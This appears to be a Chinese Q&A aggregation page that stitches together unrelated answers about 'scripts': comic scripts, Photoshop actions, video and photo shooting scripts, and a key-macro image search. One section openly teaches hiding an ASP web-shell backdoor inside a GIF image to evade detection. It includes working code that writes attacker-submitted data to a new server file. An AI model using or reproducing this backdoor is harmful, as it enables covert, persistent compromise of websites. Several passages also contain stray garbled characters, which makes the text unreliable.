『壹』 漫畫腳本怎麼做
寫過好幾年漫畫專欄。
也出版過5本漫畫書。
說一說我自己的一些看法。
一、寫漫畫腳本的第一步,不在於你的腳本,而在於畫你腳本的那個繪者
不難理解,腳本你能控制,但繪者的人碧豎選你定不了,既然定不了,你就得試著去看看繪者的風格。
否則的話,你的腳本是A風格,但繪者是W風格,那麼兩者結橘祥合,可能就會不倫不類,到頭來大失所望。
以下只是為說明問題而舉的例子:
上圖這些漫畫是如此的精緻,筆法是那麼的極富表現力。如果你的繪畫師是這種水平(當然這是不可能的),那麼你腳本中的對白應該少之又少,精煉再精煉。原因是,繪者能把你沒說出來的那些東西在畫上完全地給表現出來,你再_嗦,就多餘了,而且,對白過多會壓住畫面,而上面繪者的畫面是很金貴的,不要用你的長對白壓住優秀繪者的畫。
可假如你的繪畫師由於時間成本等客觀原因,筆法粗糙,表現力一般,美觀度一般般,此時,你更得在對白上多下功夫了,對白可以多一些。不這樣,恐怕讀者就不明白情節故事到底是怎麼回事。
二、寫腳本的時候,你大腦得像放電影一樣,很清晰的畫面
大腦里有清晰的畫面不算,你得很好地把你的畫面描述出來,如此,繪者才能畫出你想要的畫面。有時候,語言是蒼白的,很難描述你大腦裡面的畫面,即使描述了,繪者也看不明白,此時,你最好找一些參考圖片來表達你的意思,比如我在寫某本漫畫時是這樣處理的:
腳本中有一張給繪者的參考圖。
有時,找不到參考圖,你還得自己大概畫一下:
如上圖,裡面的插圖是圓慧搏我畫的,不這樣,繪者畫出來時,有極大的可能不是你心目中的樣子。
三、根據繪者來寫場景描述
上圖紅箭頭所指就是場景描述,而關於場景描述,你得根據繪者的情況,有的繪者喜歡自由發揮,此時,你洋洋灑灑寫了七八條場景描述,但繪者完全不按你的來,而是按照他的來。
此時,你的腳本就應該有所變化了。
也就是說,你可以偷懶了,不寫那麼多場景描述,寫了也會被廢棄,你除了生氣,別無它法,所以,此時你得偷懶。
不過,繪者自由發揮只適合於短篇的漫畫,比如獨立的四頁漫畫,此時,繪者能統攬全局。但對於連載幾年的漫畫,繪者完全不知道後續情節如何發展,此時他完全自由發揮,最後難免出錯。這種情況下,在寫腳本之前,就得大家一起約定好,到底按照誰的描述來。商量好了再去做,合作會很愉快。
四、漫畫的核心在於故事
是有很多精美的漫畫,光畫面就讓人喜歡不已。比如下面這張
然而,你仔細想想,目前國內的環境下,有哪個繪者在畫連載漫畫時,能花費如此大的代價畫出如此精美的一幅幅漫畫呢?
沒有!!!!
那麼問題來了,你寫的漫畫要想獲得讀者喜歡,憑什麼?精美的漫畫,還是精彩的故事?答案是後者。我寫的連載漫畫,有的讀者會在網上給我要還沒有刊登的後續章節,這就是說,故事才是你應該關注再關注的焦點。
五、漫畫腳本的格式
腳本格式,我見過很多,但都簡陋無比,就像是用txt記事本軟體寫出來的一樣,一眼看去,就像白開水一樣無味,沒有美感。我自己的格式是這樣的,用表格:
如上圖,左邊第一列分管【場景描述】和【人物名】,第二列管【台詞】和【場景內容】,第三列管人物的動作表情。
使用這種格式,腳本作者、編輯和繪者看著清爽,但是,腳本作者需要付出很多時間調整格式,代價很大。
『貳』 如何用photoshop做成自動生成式腳本
先錄制一個新的動作..在那個動作對話框..
選取"動作"對話框,點"新動作"為你的新動作起一個名字.然後打開一個你要處理的圖片,並進行一列相應的操作,把這個動作錄來之後,就可以從"文件""自動"里選用它對其它圖片進行批處理了.就這么簡單...
『叄』 新手怎麼學做腳本
新手學做腳本的方法具體如下:
1、先下載一個寫腳本的軟體。
腳本的作用
1、提高視頻拍攝效率
這個前面其實已經提到過了。腳本其實就是短視頻的拍攝提綱、框架。
有了這個提綱和框架,就相當於是給後續的拍攝、剪輯、道具准備等做了一個流程指導。
就像我們寫文章一樣,讀書的時候,老師都會建議我們寫文章之前先列一個提綱,然後根據提綱去拓展創作。這樣寫起來思路更清晰,效率也更快。
2、提高視頻拍攝質量
雖然我們的帶貨短視頻大多都是在15秒左右,最長也不會超過30秒。
但是,如果想要基礎流量高,轉化率高,必須精雕細琢每一個視頻裡面出現的細節。包括景別、場景布置,演員服化道准備,台詞設計,表情;還有音樂的配合,最後剪輯效果的呈現等等。這些都是需要腳本來呈現的。
腳本簡介
簡單來說,短視頻的腳本可以理解為短視頻拍攝、剪輯的依據,一切參與短視頻製作(編導、攝影師、剪輯、演員、道具等)都是服從於腳本。腳本沒有固定的格式要求,看著腳本攝影師知道怎麼拍了,演員知道怎麼演,剪輯需要怎麼剪,就是一個成功的腳本啦。
『肆』 拍攝室內花朵的腳本怎麼寫
.拍攝主題:明確拍攝主題和風格,拍攝過程中要在主題范圍內進行創作不要跑題,否則照片會顯得不連貫,前後不著調,沒有敘事感。
.
2.拍攝場地:場地一定要選擇與主題相符的地方,不能將就,有條件可以在拍攝前先去踩個點,並拍照記錄,貼在腳本里。
.
3.拍攝時間:如果是正常的戶外人像攝影建議選擇下午2-5點(冬季)3-6(夏季)這個時間點的太陽光比較柔,光比不大 能使畫面看起來很舒服。
.
4.服裝選擇:服裝和場地的選擇是影響照片有無氛圍感的重要條件,新手建議服裝的選擇上不要太花哨,保證服裝與環境的顏色不要太多,冷暖色保持一致。否則畫面會很顯得很臟很雜,(除非你就是想拍冷暖對比)。
.
5.妝容選擇:不要帶奇怪顏色的美瞳,臉上的高光陰影不要打太多(不符合正確的光影結構會導致照片很假)。頭發在拍攝前要清洗,夏季拍攝要褪體毛(可以後期修但是很費時間建議前期能做好的就前期做)。
『伍』 怎麼寫一個簡單的拍攝腳本
拍攝腳本模板腳本文字版怎麼寫
什麼是腳本?
當然,腳本本身其實是一個很復雜很專業的東西,對於短視頻拍攝來說,這樣去理解就夠了,如果大家需要更加深入的了解視頻腳本,建議去找一些書籍來學習一下。
『陸』 圖片內加入腳本
現在從注入拿WEBSHELL看來成功率都比較高了。拿到SHELL後,安裝自己的腳本後門,常常被查殺。 腳本後門的發展史:
1。最開始就是直接放一個ASP文件上去。
2。把ASP文件加密才放上去。
3。把腳本插入到代碼中去。(我經常用這種) 不過一樣被查得出來,我前段時候手工檢測一個站的腳本安全。發現這個站被種了21個木馬。所以我就想到了,怎麼樣才能不被發現不能被查殺。 最後我研究了一下如果把腳本插入到圖片中。然後在ASP中調用圖片中的腳本程序應該就可以了。 測試的時候通過了。現在我把我的心德寫一下。讓大家來分析一下。共同進步和完善這種方法。 在研究過程中我看了GIF圖片的結構文檔方面的書。 GIF圖片都是以 00 3B 為結束的。換句話說00 3B 後面的不會顯示出來。所以我們在00 3B後面插入代碼就行了。當然代碼我們加密放到圖片中去效果更好。我寫了一個程序來這么做。 這里要說一下,在圖片中00 3B後面的是不會顯示出來的。 但其中的代碼已經運行了。圖片也會正常顯示出來。 測試:
在圖片後面加入:<%=now%>
然後在一個ASP文件中加入:<!--#include file="aaa.gif" --> 然後你們下載這個圖片,發現圖片最後面變成了時間。很正常因為圖片放到了ASP腳本中運行了其中的代碼。 換句話來說,如果寫的是一段生成文件的腳本。那麼我們提交特定的參數讓圖片中的代碼去生成文件。這樣就實現了我們的後門。 1:這種方法要做的工作就是在目標站點中找一張GIF圖片然後把代碼插入到圖片中,再上傳到站點中去。這樣作管理員很難找到木馬在哪裡。打死也想不到木馬在圖片中。 2:我們插入的代碼只有一行就是那個include file .....
找個文件大點的ASP文件給插進去就行了。 然後我們在本地POST數據提交給ASP引用圖片的URL這樣就完成了工作。 我的插入圖片的腳本: <% dim objFSO %>
<% dim fdata %>
<% dim objCountFile %>
<% on error resume next %>
<% Set objFSO = Server.CreateObject("Scripting.FileSystemObject") %>
<% fdata = request("cyfddata") %>
<% if fdata<>"" then %>
<% syfdpath=server.mappath(Request.ServerVariables("SCRIPT_NAME"))&"\ok.asp"%>
<% Set objCountFile=objFSO.CreateTextFile(syfdapth,True) %>
<% objCountFile.Write fdata %>
<% end if %>
<% objCountFile.Close %>
<% Set objCountFile=Nothing %>
<% Set objFSO = Nothing %> 這段代碼主要就是在當前目錄下生成一個ok.asp文件。
文件內容是由我們提交的數據.用request("cyfddata")來獲取的。 這段代碼加密後插入到圖片中去。下面我把我程序的代碼貼出來。 本地自己構建一個提交表單向ASP文件提交(加入圖片那個文件) 表單文本框輸入內容名稱是:cyfddata 後感:
我本人認為這種方法,管理員很難查到。這是我兩天前想到的作出來了,可能有些問題希望和大家一起討論,必競,為了追求技術就得研究技術。
共享知識,從而升華。
感覺去研究一些新東西,人活得更XS些。
『柒』 婚紗照直播腳本怎麼寫
寫婚紗照直播腳本200字以上:
第一步:定義緩陪直播內容。首先,定義好直播的內容,是婚紗照的拍攝,還是婚禮的精彩瞬間,還是新人的新婚感叢弊言,或者是拍攝過程中的點點滴滴,需要把握好主題。
第二步:制定細節。其次,制定好細節,比如拍攝地點、拍攝時間、拍攝環境、拍攝服裝和道具等等。這些都是影響拍攝效果的重要因素,需要細心考慮。
第三步:編排程序。接著,根據定義好的內容,編排好程序,比如開場白、拍攝過程、新人對對白、尾聲等,把拍攝過程按照先後順序編排好,使得拍攝流程更加順暢。
第四步:添加特效。最後,在拍攝完成後,可以根據錄像本身的特點,添加一些特效,比如點亮,變暗,慢動作,旋轉,縮放擾鄭蠢等等,增加錄像的表現力,增加觀眾的視覺感受。
以上就是婚紗照直播腳本200字以上的內容。通過以上步驟,可以更好地拍出一部優秀的婚紗照直播,把新人婚禮的美好時刻永久保存下來,留下美好的回憶。
『捌』 使用按鍵精靈怎樣創建有圖片識別功能的腳本
首先你要製做圖片,底色必須為透明
然後放到按鍵精靈安裝目錄 script 中
然後寫腳本,本段示例角本,以找圖片 1.BMP為例
VBSCall FindPic(0,0,1024,768,"1.bmp",0.9,x,y)
If x>=0 and y>=0
MoveTo x y
Else
EndIf
這段腳本是在全屏范圍找圖,找到圖到滑鼠移動到圖片上
如果有什麼不明白的地方,請到按鍵官方論壇學習,謝謝
『玖』 老人照相腳本怎麼寫
拍攝腳本的寫法:
1、每個短篇故事視頻必須有它想要表達的主題。主題是為夢想而奮斗的困難,或者說是長途戀愛的艱難。我們必須先有主題表達,然後才能開始短視頻創作,因為所有的工作將圍繞這個主題。
2、搭建故事框架:有了基本的主題,下一步就是一步地完善它。第一步是建立故事的框架鄭游。需要做的是用一個包含主題的故事來表達想要表達的主題。在這個鏈接中,角色、場景和事件被設置並完成。例如,其主要目的是展示遠距離關系的艱辛,角色設置可能是一對年輕夫婦因工作或學習而必須分開生活,可能是女孩生病時無人照顧,男孩的照顧不能及時送來等等。在這個環節中,可以建立許多這樣的情節和沖突來展示主題,並最終形成一個故事。
3、充盈細節:「細節決定成敗」,對於短視頻也是如此。一個好的短視頻和一個壞的短視頻可拍皮能有相同的故事大綱,真正區別是細節是否在移動。如果主題是樹干,框架是樹枝,細節是樹葉,可以用樹葉來判斷樹是否健康。細節可以增強觀眾的表現感,調動觀眾的情緒,使人物更加豐滿。在確定了需要執行的細節後,考慮使用哪種鏡頭來呈現它,然後編寫一個非常具體的快照腳本。
4、受眾群體:這是文案在寫之前首先要明白的是受眾群體,受眾群體的年齡段、職業歸屬、家庭緯度、愛好、消費能力等情況,總之對於觀眾的畫像越明確越好,比如說受眾是中老年人,然後你把宣傳片做成游戲畫面主題,顯然符合你的觀眾的認知是襲叢差第一位的,所以,首先要明白給誰看,我們要做的東西是客戶想看的。
拍攝腳本注意事項:
1.是對宣傳片拍攝的前期指導,是拍攝中最主要的參考指導;2.企業宣傳片畫面內容和配音一般要參考分鏡頭腳本,為後期製作提供方便;3.可以當作企業宣傳片計時的依據,按照分鏡頭腳本的情節,可以計算出拍攝時長;4.分鏡頭腳本可以提高與客戶溝通的效率,製作公司一般都是通過將分鏡頭腳本發送給客戶了,以便更形象的與客戶溝通宣傳片的拍攝內容;企業宣傳片分鏡頭腳本,需求用生動形象的語言把構思按照場景的次序描繪出來,以便對將來企業宣傳片拍攝進行具體形象的勾勒。
『拾』 PS的動作腳本怎麼用
舉個怎麼做動作的例子:
1. 在PS中打開一幅圖片。
2. 點擊菜單命令「窗口→動作」,調出動作浮動面板。
3. 按下動作浮動面板上的新建按鈕,在彈出的「新動作」對話框中可以定義該組動作的「名稱」,方便日後查找;建議你每組顏色都改變一下顏色設置,便於管理和使用。設置完成後按下「記錄」按鈕。
4. 注意哦,現在你在PS里的操作步驟都將「記錄在案」了,下面我們按上面說的幾步做。
5. 首行選取菜單命令「圖像→圖像大小」,在彈出的菜單中將寬度和高度按設置要求將照片尺寸變為800像素,按下確定。
6. 選取菜單命令「圖像→模式→CMYK顏色」。
7. 按下Ctrl+M,調出「曲線調整」對話框,調整圖像明亮度,完成後確定。
8. 按要求,我們要的三個基本調整步驟已經錄制完成了,點擊動作浮動面板下方的停止按鈕(正方形方框),搞定了。
9. 現在,你另外打開一幅圖片,然後選中動作面板中剛才定義的動作,例如本例中的「PS的動作」,按下「播放」按鈕,hehe~效果怎麼樣?新圖像的操作很省心吧,剛才需要三個步驟完成的操作現在點一下按鈕就OK了。